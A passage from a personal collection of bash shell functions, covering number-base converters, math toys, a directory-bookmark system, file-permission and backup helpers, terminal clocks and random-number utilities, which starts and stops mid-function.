	esac
	echo ${1+"$@"}
	# number ends here
}

####### individual numbers - Usage:	dec2text 1234 -> one two three four
function dec2text_()
{
	n=$1
	len=$(echo $n | wc -c)
	len=$(( $len - 1 ))
	for (( i=1; i<=$len; i++ ))
	do
	   # get one digit at a time
	    digit=$(echo $n | cut -c $i)
	   # use case control structure to find digit equivalent in words
	    case $digit in
		   0) echo -n "zero " ;;
		   1) echo -n "one " ;;
		   2) echo -n "two " ;;
		   3) echo -n "three " ;;
		   4) echo -n "four " ;;
		   5) echo -n "five " ;;
		   6) echo -n "six " ;;
		   7) echo -n "seven " ;;
		   8) echo -n "eight " ;;
		   9) echo -n "nine " ;;
	    esac
	done
	# just print new line
	echo ""
}

###### d2u
function d2u() {
    
    if [[ -e "$1" ]]; then
	sed -r 's/\r$//' -i "$1"
    fi
}

###### u2d
function u2d() {
    
    if [[ -e "$1" ]]; then
	sed -r 's/$/\r/' -i "$1"
    fi
}

###### factorial for integers
function factorial()
{
	echo "Enter an integer: "
	read n
	# Below we define the factorial function in bc syntax
	fact="define f (x) {
	i=x
	fact=1
	while (i > 1) {
		fact=fact*i
		i=i-1
	}
		return fact
	}"
	# Below we pass the function defined above, and call it with n as a parameter and pipe it to bc
	factorial=`echo "$fact;f($n)" | bc -l`
	echo "$n! = $factorial"
}

###### convert hexadecimal numbers - hex2all
function hex2all() {
    if [[ $1 ]]; then
	echo "hexadecimal $1 = binary $(hex2bin $1)"
	echo "hexadecimal $1 = octal $(hex2oct $1)"
	echo "hexadecimal $1 = decimal $(hex2dec $1)"
	echo "hexadecimal $1 = base32 $(hex2b32 $1)"
	echo "hexadecimal $1 = base64 $(hex2b64 $1)"
	echo "hexadecimal $1 = ascii $(hex2asc $1)"
    fi
}

###### convert hexadecimal numbers - hex2asc
function hex2asc() {
    if [[ $1 ]]; then
	echo -e "\0$(printf %o $((16#$1)))"
    fi
}

###### convert hexadecimal numbers - hex2bin
function hex2bin() {
    if [[ $1 ]]; then
	echo "obase=2 ; ibase=16 ; $1" | bc
    fi
}

###### convert hexadecimal numbers - hex2b64
function hex2b64() {
    if [[ $1 ]]; then
	echo "obase=64 ; ibase=16 ; $1" | bc
    fi
}

###### convert hexadecimal numbers - hex2b32
function hex2b32() {
    if [[ $1 ]]; then
	echo "obase=32 ; ibase=16 ; $1" | bc
    fi
}

###### convert hexadecimal numbers - hex2dec
function hex2dec() {
    if [[ $1 ]]; then
	 echo $((16#$1))
    fi
}

###### convert hexadecimal numbers - 
function hex2oct() {
    if [[ $1 ]]; then
	echo "obase=8 ; ibase=16 ; $1" | bc
    fi
}

###### length
function length()
{
    if [ $# -lt 1 ]; then
        echo "count # of chars in arugment"
        echo "usage: length [string]"
    else
        echo -n $@ | wc -c
    fi
}

###### finding logs for numbers
function math-log()
{
	echo "Enter value: "
	read x
	echo "Natural Log: ln($x) :"
	echo "l($x)" | bc -l
	echo "Ten Base Log: log($x) :"
	echo "l($x)/l(10)" | bc -l
}

###### magic square generator (odd-order squares only!)
function msquare()
{
	# Author: mendel cooper
	EVEN=2
	MAXSIZE=31   # 31 rows x 31 cols.
	E_usage=90   # Invocation error.
	dimension=
	declare -i square
	function usage_message()
	{
	  echo "Usage: $0 square-size"
	  echo "   ... where \"square-size\" is an ODD integer"
	  echo "       in the range 3 - 31."  #  Works for squares up to order 159
	}
	function calculate()       # Here's where the actual work gets done.
	{
	  local row col index dimadj j k cell_val=1
	  dimension=$1
	  let "dimadj = $dimension * 3"; let "dimadj /= 2"   # x 1.5, then truncate.
	  for ((j=0; j < dimension; j++))
	  do
	    for ((k=0; k < dimension; k++))
	    do  # Calculate indices, then convert to 1-dim. array index.
		   # Bash doesn't support multidimensional arrays. Pity.
		 let "col = $k - $j + $dimadj"; let "col %= $dimension"
		 let "row = $j * 2 - $k + $dimension"; let "row %= $dimension"
		 let "index = $row*($dimension) + $col"
		 square[$index]=cell_val; ((cell_val++))
	    done
	  done
	}     # Plain math, no visualization required.
	function print_square()               # Output square, one row at a time.
	{
	  local row col idx d1
	  let "d1 = $dimension - 1"   # Adjust for zero-indexed array.
	  for row in $(seq 0 $d1)
	  do
	    for col in $(seq 0 $d1)
	    do
		 let "idx = $row * $dimension + $col"
		 printf "%3d " "${square[idx]}"; echo -n "  "
	    done   # Displays up to 13-order neatly in 80-column term window.
	    echo   # Newline after each row.
	  done
	}
	if [[ -z "$1" ]] || [[ "$1" -gt $MAXSIZE ]]
	then
	  usage_message
	fi
	let "test_even = $1 % $EVEN"
	if [ $test_even -eq 0 ]
	then           # Can't handle even-order squares.
	  usage_message
	fi
	calculate $1
	print_square   # echo "${square[@]}"   # DEBUG
}

###### print multiplication tables
function multitables()
{
	for i in {1..9}; do for j in `seq 1 $i`; do echo -ne "${j}x${i}=$((j*i))\t"; done; echo; done
}

###### given a number, show it with comma separated values
function nicenumber()
{
	# expects DD and TD to be instantiated. instantiates nicenum
	# or, if a second arg is specified, the output is echoed to stdout
	function nice_number()
	{
		  # Note that we use the '.' as the decimal separator for parsing
		  # the INPUT value to this script. The output value is as specified
		  # by the user with the -d flag, if different from a '.'
		  integer=$(echo $1 | cut -d. -f1)		# left of the decimal
		  decimal=$(echo $1 | cut -d. -f2)		# right of the decimal
		  if [ $decimal != $1 ]; then
		    # there's a fractional part, let's include it.
		    result="${DD:="."}$decimal"
		  fi
		  thousands=$integer
		  while [ $thousands -gt 999 ]; do
		    remainder=$(($thousands % 1000))	# three least significant digits
		    while [ ${#remainder} -lt 3 ] ; do	# force leading zeroes as needed
			 remainder="0$remainder"
		    done
		    thousands=$(($thousands / 1000))	# to left of remainder, if any
		    result="${TD:=","}${remainder}${result}"	# builds right-to-left
		  done
		  nicenum="${thousands}${result}"
		  if [ ! -z $2 ] ; then
		    echo $nicenum
		  fi
	}
	DD="."	# decimal point delimiter, between integer & fractional value
	TD=","	# thousands delimiter, separates every three digits
	while getopts "d:t:" opt; do
	  case $opt in
	    d ) DD="$OPTARG"	;;
	    t ) TD="$OPTARG"	;;
	  esac
	done
	shift $(($OPTIND - 1))
	if [ $# -eq 0 ] ; then
  cat << "EOF" >&2
Usage: $(basename $0) [-d c] [-t c] numeric value
       -d specifies the decimal point delimiter (default '.')
       -t specifies the thousands delimiter (default ',')
EOF
fi
nice_number $1 1	# second arg forces this to 'echo' output
}

###### convert normal to unix
function normal2unix()
{
    echo "${@}" | awk '{print mktime($0)}';
}

###### convert unix to normal
function unix2normal()
{
    echo $1 | awk '{print strftime("%Y-%m-%d %H:%M:%S",$1)}';
}

###### list of numbers with equal width
function nseq()
{
	seq -w 0 "$1"
}

###### convert octals - oct2all
function oct2all() {
    if [[ $1 ]]; then
	echo "octal $1 = binary $(oct2bin $1)"
	echo "octal $1 = decimal $(oct2dec $1)"
	echo "octal $1 = hexadecimal $(oct2hex $1)"
	echo "octal $1 = base32 $(oct2b32 $1)"
	echo "octal $1 = base64 $(oct2b64 $1)"
	echo "octal $1 = ascii $(oct2asc $1)"
    fi
}

###### convert octals - oct2asc
function oct2asc() {
    if [[ $1 ]]; then
	echo -e "\0$(printf %o $((8#$1)))"
    fi
}

###### convert octals - oct2bin
function oct2bin() {
    if [[ $1 ]]; then
	echo "obase=2 ; ibase=8 ; $1" | bc
    fi
}

###### convert octals - oct2b64
function oct2b64() {
    if [[ $1 ]]; then
	echo "obase=64 ; ibase=8 ; $1" | bc
    fi
}

###### convert octals - oct2b32
function oct2b32() {
    if [[ $1 ]]; then
	echo "obase=32 ; ibase=8 ; $1" | bc
    fi
}

###### convert octals - oct2dec
function oct2dec() {
    if [[ $1 ]]; then
	echo $((8#$1))
    fi
}

###### convert octals - oct2hex
function oct2hex() {
    if [[ $1 ]]; then
	echo "obase=16 ; ibase=8 ; $1" | bc
    fi
}

###### Pascal's triangle
function pascal() { l=15;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l-$i;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";o="$(eval echo "$(for((k=0;k<=$i;k++)); do eval "echo -n \"\$((a\$((i-k))[k])) \""; done)")";echo "$o";s="${#o}"; done; } | while read l; do j=$((s-${#l}/2)); echo "$(while ((i++ < j)); do echo -n " ";done;)$l";done

###### convert phone numbers to letters/potentially english words
function phone2text()
{
	echo -n "Enter number: "
	read num
	# Create a list of possibilites for expansion by the shell
	# the "\}" is an ugly hack to get "}" into the replacment string -
	# this is not a clean escape sequence - the litteral "\" is left behind!
	num="${num//2/{a,b,c\}}"
	num="${num//3/{d,e,f\}}"
	num="${num//4/{g,h,i\}}"
	num="${num//5/{j,k,l\}}"
	num="${num//6/{m,n,o\}}"
	num="${num//7/{p,q,r,s\}}"
	num="${num//8/{t,u,v\}}"
	num="${num//9/{w,x,y,z\}}"
	# cleaup from the hack - remove all litteral \'s
	num="${num//\\/}"
	echo ""
	echo "Possible words are:"
	for word in $( eval echo "$num" )
	do
	    echo '>' "$word"
	done
	# End of File
}

###### powers of numerals
function power() {
    if [[ $1 ]]; then
	if [[ $2 ]]; then
	    echo "$1 ^ $2" | bc
	else	echo "$1 ^ 2" | bc
	fi
    fi
}

###### generate prime numbers, without using arrays.
function primes()
{
	LIMIT=1000                    		# Primes, 2 ... 1000.
		Primes()
		{
			 (( n = $1 + 1 ))             # Bump to next integer.
			 shift                        # Next parameter in list.
			#  echo "_n=$n i=$i_"
			 if (( n == LIMIT ))
			 then echo $*
			 return
			 fi
			 for i; do                    # "i" set to "@", previous values of $n.
			#   echo "-n=$n i=$i-"
			   (( i * i > n )) && break   # Optimization.
			   (( n % i )) && continue    # Sift out non-primes using modulo operator.
			   Primes $n $@               # Recursion inside loop.
			   return
			   done
			   Primes $n $@ $n            #  Recursion outside loop.
									#  Successively accumulate
									#+ positional parameters.
									#  "$@" is the accumulating list of primes.
		}
	Primes 1
}

###### radicals of numbers
function radical() {
    if [[ $1 ]]; then
	echo "sqrt($1)" | bc -l
    fi
}

###### convert to roman numerals
function roman-numeral()
{
python -c 'while True: print (lambda y,x=[],nums={ 1000:"M",900:"CM",500:"D",400:"CD",100:"C",90:"XC",
50:"L",40:"XL",10:"X",9:"IX",5:"V",4:"IV",1:"I"}: (lambda ro=(lambda : map(lambda g,r=lambda b:x.append(
y[-1]/b),t=lambda v:y.append(y[-1]%v):map(eval,["r(g)","t(g)"]),sorted(nums.keys())[::-1]))():"".join(
map(lambda fg: map(lambda ht: nums[ht],sorted(nums.keys())[::-1])[fg] * x[fg],range(len(x)))))())([int(
raw_input("Please enter a number between 1 and 4000: "))])'
}

###### round numerals to whole numbers
function round() {
    if [[ $1 ]]; then
	if [[ $2 ]]; then
	    echo "$(printf %.${2}f $1)"
	else	echo "$(printf %.0f $1)"
	fi
    fi
}

###### ruler that stretches across the terminal
function ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }

###### convert seconds to minutes, hours, days, and etc. - inputs a number of seconds, outputs a string like "2 minutes, 1 second" $1: number of seconds
function sec2all()
{
    local millennia=$((0))
    local centuries=$((0))
    local years=$((0))
    local days=$((0))
    local hour=$((0))
    local mins=$((0))
    local secs=$1
    local text=""
    # convert seconds to days, hours, etc
    millennia=$((secs / 31536000000))
    secs=$((secs % 31536000000))
    centuries=$((secs / 3153600000))
    secs=$((secs % 3153600000))
    years=$((secs / 31536000))
    secs=$((secs % 31536000))
    days=$((secs / 86400))
    secs=$((secs % 86400))
    hour=$((secs / 3600))
    secs=$((secs % 3600))
    mins=$((secs / 60))
    secs=$((secs % 60))
    # build full string from unit strings
    text="$text$(seconds-convert-part $millennia "millennia")"
    text="$text$(seconds-convert-part $centuries "century")"
    text="$text$(seconds-convert-part $years "year")"
    text="$text$(seconds-convert-part $days "day")"
    text="$text$(seconds-convert-part $hour "hour")"
    text="$text$(seconds-convert-part $mins "minute")"
    text="$text$(seconds-convert-part $secs "second")"
    # trim leading and trailing whitespace
    text=${text## }
    text=${text%% }
    # special case for zero seconds
    if [ "$text" == "" ]; then
        text="0 seconds"
    fi
    # echo output for the caller
    echo ${text}
}

# formats a time unit into a string - $1: integer count of units: 0, 6, etc - $2: unit name: "hour", "minute", etc
function seconds-convert-part()
{
    local unit=$1
    local name=$2
    if [ $unit -ge 2 ]; then
        echo " ${unit} ${name}s"
    elif [ $unit -ge 1 ]; then
        echo " ${unit} ${name}"
    else
        echo ""
    fi
}

###### finding the square root of numbers
function sqrt()
{
echo "sqrt ("$1")" | bc -l
}

###### converts a string (words, text) to binary
function string2bin()
{
	perl -nle 'printf "%0*v8b\n"," ",$_'
}

###### trigonmetry calculations with angles
function trig-angle()
{
	echo "Enter angle in degree: "
	read deg
	# Note: Pi calculation
	# tan(pi/4) = 1
	# atan(1) = pi/4 and
	# pi = 4*atan(1)
	pi=`echo "4*a(1)" | bc -l`
	rad=`echo "$deg*($pi/180)" | bc -l`
	echo "$deg Degree = $rad Radian"
	echo "Sin($deg): "
	echo "s($rad)" | bc -l
	echo "Cos($deg): "
	echo "c($rad)" | bc -l
	echo "Tan($deg): "
	echo "s($rad)/c($rad)" | bc -l
}

####### Ask
function ask()
{
    echo -n "$@" '[y/n] ' ; read ans
    case "$ans" in
        y*|Y*) return 0 ;;
        *) return 1 ;;
    esac
}

######## Escape potential tarbombs
function atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ; }

######### Get the headlines of an atom feed
function atomtitles()
{
	curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n
}

####### backupsfolder
function backupsfolder()
{
    if [ -d $HOME/backups_html ]; then
        chown -R $USER:www-data $HOME/backups_html
        chmod 755 $HOME/backups_html
        find $HOME/backups_html/ -type d -exec chmod 775 {} \;
        find $HOME/backups_html/ -type f -exec chmod 664 {} \;
        chmod 755 $HOME
    fi
}

####### private
function private()
{
    find $HOME -type d -exec chmod 700 {} \;
    find $HOME -type f -exec chmod 600 {} \;
    find $HOME/bin -type f -exec chmod +x {} \;
    find $HOME/.dropbox-dist/dropbox* -type f -exec chmod +x {} \;
}

####### publicfolder
function publicfolder()
{
    if [ -d $HOME/public_html ]; then
        chown -R $USER:www-data $HOME/public_html
        chmod 755 $HOME/public_html
        find $HOME/public_html/ -type d -exec chmod 775 {} \;
        find $HOME/public_html/ -type f -exec chmod 664 {} \;
        chmod 755 $HOME
    fi
}

####### setperms
function setperms()
{
    echo "setting proper permissions in ~/"
    private
    public
}

####### wwwrc
function wwwrc()
{
    alias mv="mv"
    mv -f ~/.[a-z]*.html ~/public_html/
    chmod 644 ~/public_html/.[a-z]*.html
    chown $USER:www-data ~/public_html/.[a-z]*.html
    alias mv="mv -i"
}

####### Backup .bash* files
function backup_bashfiles()
{
  ARCHIVE="$HOME/bash_dotfiles_$(date +%Y%m%d_%H%M%S).tar.gz";
  cd ~
  tar -czvf $ARCHIVE .bash_profile .bashrc .bash_functions .bash_aliases .bash_prompt
  echo "All backed up in $ARCHIVE";
}

####### Creates a backup of the file passed as parameter with the date and time
function bak()
{
  cp $1 $1_`date +%H:%M:%S_%d-%m-%Y`
}

####### Good bash tips for everyone
function bashtips() {

cat <<EOF
DIRECTORIES
-----------
~-          Previous working directory
pushd tmp   Push tmp && cd tmp
popd        Pop && cd
GLOBBING AND OUTPUT SUBSTITUTION
--------------------------------
ls a[b-dx]e Globs abe, ace, ade, axe
ls a{c,bl}e Globs ace, able
\$(ls)      \`ls\` (but nestable!)
HISTORY MANIPULATION
--------------------
!!        Last command
!?foo     Last command containing \`foo'
^foo^bar^ Last command containing \`foo', but substitute \`bar'
!!:0      Last command word
!!:^      Last command's first argument
!\$       Last command's last argument
!!:*      Last command's arguments
!!:x-y    Arguments x to y of last command
C-s       search forwards in history
C-r       search backwards in history
LINE EDITING
------------
M-d     kill to end of word
C-w     kill to beginning of word
C-k     kill to end of line
C-u     kill to beginning of line
M-r     revert all modifications to current line
C-]     search forwards in line
M-C-]   search backwards in line
C-t     transpose characters
M-t     transpose words
M-u     uppercase word
M-l     lowercase word
M-c     capitalize word
COMPLETION
----------
M-/     complete filename
M-~     complete user name
M-@     complete host name
M-\$    complete variable name
M-!     complete command name
M-^     complete history
EOF
}

###### # Execute a given Linux command on a group of files - Example1: batchexec sh ls # lists all files that have the extension 'sh' - Example2: batchexec sh chmod 755	# 'chmod 755' all files that have the extension 'sh'
function batchexec()
{
	find . -type f -iname '*.'${1}'' -exec ${@:2}  {} \; ;
}

# Clock - A bash clock that can run in your terminal window.
#------------------------------------------////

###### binary clock
function bclock()
{
	watch -n 1 'echo "obase=2;`date +%s`" | bc'
}

###### binary clock
function bclock2()
{
	perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
}

###### clock
function clock()
{
	while true;do clear;echo "===========";date +"%r";echo "===========";sleep 1;done
}

###### Appends a '&' to a command so it will run in the background - useful for aliases
function bg_wrapper()
{
    "$@" &
}

####### Substitutes underscores for blanks in all the  - filenames in a directory
function blank_rename()
{
	ONE=1                     # For getting singular/plural right (see below).
	number=0                  # Keeps track of how many files actually renamed.
	FOUND=0                   # Successful return value.
	for filename in *         #Traverse all files in directory.
	do
		echo "$filename" | grep -q " "         #  Check whether filename
		if [ $? -eq $FOUND ]                   #+ contains space(s).
		then
		  fname=$filename                      # Yes, this filename needs work.
		  n=`echo $fname | sed -e "s/ /_/g"`   # Substitute underscore for blank.
		  mv "$fname" "$n"                     # Do the actual renaming.
		  let "number += 1"
		fi
	done
	if [ "$number" -eq "$ONE" ]                 # For correct grammar.
	then
	 echo "$number file renamed."
	else
	 echo "$number files renamed."
	fi
}

####### Convert bluray to xvid	# example: bluray2xvid bluraydisc.m2ts desired_name.avi
function bluray2xvid()

{
	mencoder $1 -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o $2
}

# Bookmarking 
#------------------------------------------////

###### bookmarking the current directory in 'alias' form
function bookmark() {
    
    if [[ $1 != "" && $(alias | grep -w go-$1) == "" ]]; then
	echo "alias go-$1='cd $PWD'" >> $HOME/.bookmarks
	. $HOME/.bookmarks
    elif [[ $1 == "" ]]; then
	echo "need name for the bookmark."
    else	echo "bookmark go-$1 already exists."
    fi
}

###### unmark
function unmark() {
    
    if [[ $(alias | grep -w go-$1= ) != "" ]]; then
	sed -e "/go-$1/d" -i $HOME/.bookmarks
	xunalias go-$1
    fi
}

###### copies files to a bookmarked dir - cto file1.jpg file2.jpg file3.jpg pics
function cto() {
    eval lastarg=\${$#}
    targetdir=`getBookmark $lastarg`
    echo "Copying files to $targetdir"
    if [ -n "$targetdir" ]; then
        for dir in "$@";
            do
                if [ "$dir" != $lastarg ]; then
                    cp -iv "$dir" "$targetdir"
                fi
            done
    fi
}

###### moves files to a bookmarked dir - mto vid1.avi vid2.avi videos
function mto() {
    eval lastarg=\${$#}
    targetdir=`getBookmark $lastarg`
    echo "Moving files to $targetdir"
    if [ -n "$targetdir" ]; then
        for dir in "$@";
            do
                if [ "$dir" != $lastarg ]; then
                    mv -iv "$dir" "$targetdir"
                fi
            done
    fi
}

###### Directory Bookmarks for BASH (c) 2009, Ira Chayut, Version 090927
# DirB and its implementation in this file are the product of, and
# copyrighted by Ira Chayut.  You are granted a non-exclusive, royalty-free
# license to use, reproduce, modify and create derivative works from DirB;
# providing that credit is given to DirB as a source material.
# The lastest version is available from: http://www.dirb.info/bashDirB.  Ira can
# be reached at [email protected].
# By default DirB will have the shell echo the current working directory out
# to the title bars of Xterm windows.  To disable this behavior, comment
# out the next line.
# PS1="\[\033]0;\w\007\]\t \!> "
# If the repository of bookmarks does not exist, create it
if  [ ! -e ~/.DirB ]
then
    mkdir ~/.DirB
fi

###### "d" - Display (or Dereference) a saved bookmark - to use: cd "$(d xxx)"
function d() {
    # if the bookmark exists, then extract its directory path and print it
    if [ -e ~/.DirB/"$1" ]
    then
        sed -e 's/\$CD //' -e 's/\\//g' ~/.DirB/"$1"

    # if the bookmark does not exists, complain and exit with a failing code
    else
        echo bash: DirB: ~/.DirB/"$1" does not exist >&2
        false
    fi
}

###### "g" - Go to bookmark
function g() {
    # if no arguments, then just go to the home directory
    if [ -z "$1" ]
    then
        cd
    else
        # if $1 is in ~/.DirB and does not begin with ".", then go to it
        if [ -f ~/.DirB/"$1" -a ${1:0:1} != "." ]
        then
            # update the bookmark's timestamp and then execute it
            touch ~/.DirB/"$1" ;
            CD=cd source ~/.DirB/"$1" ;
        # else just do a "cd" to the argument, usually a directory path of "-"
        else
            cd "$1"
        fi
    fi
}

###### "p" - Push a bookmark
function p() {
    # Note, the author's preference is to list the directory stack in a single
    # column.  Thus, the standard behavior of "pushd" and "popd" have been
    # replaced by discarding the normal output of these commands and using a
    # "dirs -p" after each one.

    # if no argument given, then just pushd and print out the directory stack
    if [ -z "$1" ]
    then
        pushd > /dev/null && dirs -p

    # if $1 is a dash, then just do a "popd" and print out the directory stack
    elif [ "$1" == "-" ]
    then
        popd > /dev/null
        dirs -p
    else
        # if $1 is in ~/.DirB and does not begin with ".", then go to it
        # and then print out the directory stack
        if [ -f ~/.DirB/"$1" -a "${1:0:1}" != "." ]
            then
                touch ~/.DirB/$1 ;
                CD=pushd source ~/.DirB/$1 > /dev/null && dirs -p ;

        # else just do a "pushd" and print out the directory stack
        else
            pushd "$1" > /dev/null && dirs -p
        fi
    fi
}

###### "r" - Remove a saved bookmark
function r() {
    # if the bookmark file exists, remove it
    if [ -e ~/.DirB/"$1" ]
    then
        rm ~/.DirB/"$1"

    # if the bookmark file does not exist, complain and exit with a failing code
    else
        echo bash: DirB: ~/.DirB/"$1" does not exist >&2
        false
    fi
}

###### "s" - Save bookmark
function s() {
    if [ -n "$2" ]
    then
        # build the bookmark file with the contents "$CD directory_path"
        ( echo '$CD ' \"$2\" > ~/.DirB/"$1" ;) > /dev/null 2>&1
    else
        # build the bookmark file with the contents "$CD directory_path"
        ( echo -n '$CD ' > ~/.DirB/"$1" ;
          pwd | sed "s/ /\\\\ /g" >> ~/.DirB/"$1" ; ) > /dev/null 2>&1
    fi
    # if the bookmark could not be created, print an error message and
    # exit with a failing return code
    if [ $? != 0 ]
    then
        echo bash: DirB: ~/.DirB/"$1" could not be created >&2
        false
    fi
}

###### "sl" - Saved bookmark Listing
function sl() {
    # if the "-l" argument is given, then do a long listing, passing any
    # remaining arguments to "ls", printing in reverse time order.  Pass the
    # output to "less" to page the output if longer than a screen in length.
    if [ "$1" == "-l" ]
    then
        shift
        ( cd ~/.DirB ;
        ls -lt $* |
            sed -e 's/  */ /g' -e '/^total/d' \
                -e 's/^\(... \)\([0-9] \)/\1 \2/' |
            cut -d ' ' -s -f6- | sed -e '/ [0-9] /s// &/' | less -FX ; )

    # else print the short form of the bookmarks in reverse time order
    else
        ( cd ~/.DirB ; ls -xt $* ; )
    fi
}

###### simple bookmark system
function getBookmark() {
    case "$1" in
    video|vids|vid) echo "~/Videos" ;; # video, vids and vid are shortcuts to use with the functions below, the bookmarked directory is "~/videos"
    images|img|pics|pictures) echo "~/Pictures";;
    *) echo "" ;;
    esac
}

###### list contents of a bookmarked dir without - going there: list vids
function list() {
    dir=`getBookmark $1`
    echo $dir
    if [ -n "$dir" ]; then
        ls "$dir"
    fi
}

###### same as "list" but with details: llist vids
function llist() {
    dir=`getBookmark $1`
    echo $dir
    if [ -n "$dir" ]; then
        ll "$dir"
    fi
}

###### Create box of '#' characters around given string
function box() { t="$1xxxx";c=${2:-#}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; }

# Download all videos in your Boxee queue Gets all videos in your boxee queue with a URL associated with them and attempts to download each using get_flash_videos
function boxeedl()
{
	for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
}

# Randomness					 #
#------------------------------------------////

###### This script models Brownian motion: random wanderings of tiny particles in fluid, as they are buffeted by random currents and collisions (colloquially known as "Drunkard's Walk")
function brownian()
{
	PASSES=500            		#  Number of particle interactions / marbles.
	ROWS=10               		#  Number of "collisions" (or horiz. peg rows).
	RANGE=3               		#  0 - 2 output range from $RANDOM.
	POS=0                 		#  Left/right position.
	RANDOM=$$             		#  Seeds the random number generator from PID of script.
	declare -a Slots      		# Array holding cumulative results of passes.
	NUMSLOTS=21           		# Number of slots at bottom of board.
	function Initialize_Slots() { 	# Zero out all elements of the array.
	for i in $( seq $NUMSLOTS )
	do
	  Slots[$i]=0
	done
	echo                  		# Blank line at beginning of run.
	  }
	function Show_Slots() {
	echo -n " "
	for i in $( seq $NUMSLOTS )   	# Pretty-print array elements.
	do
	  printf "%3d" ${Slots[$i]}   	# Allot three spaces per result.
	done
	echo 				# Row of slots:
	echo " |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|"
	echo "                                ^^"
	echo 				#  Note that if the count within any particular slot exceeds 99,
			#+ it messes up the display.
			#  Running only(!) 500 passes usually avoids this.
	  }
	function Move() {              	# Move one unit right / left, or stay put.
	  Move=$RANDOM         		# How random is $RANDOM? Well, let's see ...
	  let "Move %= RANGE"  		# Normalize into range of 0 - 2.
	  case "$Move" in
	    0 ) ;;      	        # Do nothing, i.e., stay in place.
	    1 ) ((POS--));;     	# Left.
	    2 ) ((POS++));;     	# Right.
	    * ) echo -n "Error ";;   	# Anomaly! (Should never occur.)
	  esac
	  }
	function Play() {               # Single pass (inner loop).
	i=0
	while [ "$i" -lt "$ROWS" ]   	# One event per row.
	do
	  Move
	  ((i++));
	done
	SHIFT=11                     	# Why 11, and not 10?
	let "POS += $SHIFT"          	# Shift "zero position" to center.
	(( Slots[$POS]++ ))          	# DEBUG: echo $POS
	  }
	function Run() {                # Outer loop.
	p=0
	while [ "$p" -lt "$PASSES" ]
	do
	  Play
	  (( p++ ))
	  POS=0                      	# Reset to zero. Why?
	done
	  }
	# main()
	Initialize_Slots
	Run
	Show_Slots
}

###### flip a single coin 1000 times and show results
function coin-flip()
{
	SEED=$"(head -1 /dev/urandom | od -N 1 | awk '{ print $2 }')"
	RANDOM=$SEED
	SIDES=2          	# A coin has 2 sides.
	MAXTHROWS=1000   	# Increase this if you have nothing better to do with your time.
	throw=0         	# Throw count.
	heads=0          	# Must initialize counts to zero,
	tails=0          	# since an uninitialized variable is null, not zero.
	function print_result()
	{
		echo
		echo "heads =   $heads"
		echo "tails =   $tails"
		echo
	}
	function update_count()
	{
		case "$1" in
		  0) let "heads += 1";; # Since coin has no "zero", this corresponds to 1.
		  1) let "tails += 1";; # And this to 2, etc.
		esac
	}
	echo
	while [ "$throw" -lt "$MAXTHROWS" ]
	do
	  let "coin1 = RANDOM % $SIDES"
	  update_count $coin1
	  let "throw += 1"
	done
	print_result
	echo "Out of a total of "$MAXTHROWS" tosses."
	echo "Change \"MAXTHROWS=1000\" if you want a different number of tosses."
}

###### roll a single die of "$1" sides, just once default number of sides is 6
function one-die()
{
	function roll_die() {
		  # capture parameter
		  declare -i DIE_SIDES=$1
		  # check for die sides
		  if [ ! $DIE_SIDES -gt 0 ]; then
		    # default to 6
		    DIE_SIDES=6
		  fi
		  # echo to screen
		  echo $[ ( $RANDOM % $DIE_SIDES )  + 1 ]
	}
	# roll_die 10  # returns 1 to 10 as per 10 sides
	# roll_die 2   # returns 1 or 2 as per 2 sides
	roll_die "$1"
}

###### select random card from a deck
function pick-card()
{
	# This is an example of choosing random elements of an array.
	# Pick a card, any card.
	Suites="Clubs
	Diamonds
	Hearts
	Spades"
	Denominations="2
	3
	4
	5
	6
	7
	8
	9
	10
	Jack
	Queen
	King
	Ace"
	# Note variables spread over multiple lines.
	suite=($Suites)                # Read into array variable.
	denomination=($Denominations)
	num_suites=${#suite[*]}        # Count how many elements.
	num_denominations=${#denomination[*]}
	echo -n "${denomination[$((RANDOM%num_denominations))]} of "
	echo ${suite[$((RANDOM%num_suites))]}
	# $bozo sh pick-cards.sh
	# Jack of Clubs
	# Thank you, "jipe," for pointing out this use of $RANDOM.
}

###### random number (out of whatever you input) example:	random 10	=	4
function random() {
    if [[ $1 == -l ]]; then
	echo $(cat /dev/urandom | tr -cd '[:digit:]' | head -c ${2-5})
    elif [[ $1 == -r ]]; then
	echo $((RANDOM%${2}))
    else	echo $((RANDOM%${1}))
    fi
}

###### create random blank files
function randomblanks()
{
	for ((  i = 0 ;  i < $1;  i++  )); do touch $RANDOM; done
}

###### random file
function randomfile() {
    case $1 in
	    *first)
		sed -n '1p' $HOME/.randomhistory
	    ;;
	    *last)
		sed -n '$p' $HOME/.randomhistory
	    ;;
	    *n)
		sed -n "${2}p" $HOME/.randomhistory
	    ;;
	    *l)
		wc -l $HOME/.randomhistory | gawk '{print $1}'
	    ;;
	    *c)
		rm $HOME/.randomhistory
	    ;;
	    *help )
		echo -e "\n${ewhite}Usage:\n"
		echo -e "${eorange}randomfile${ewhite} | ${egreen}--first ${eiceblue}[get the first file in the history]\
		\n${eorange}randomfile${ewhite} | ${egreen}--last ${eiceblue}[get the last file in the history]\
		\n${eorange}randomfile${ewhite} | ${egreen}--n ${eiceblue}[get the NUMBERth file in the history]\
		\n${eorange}randomfile${ewhite} | ${egreen}--l ${eiceblue}[get the number of files in history]\
		\n${eorange}randomfile${ewhite} | ${egreen}--c ${eiceblue}[clear the history]\n" | column -t
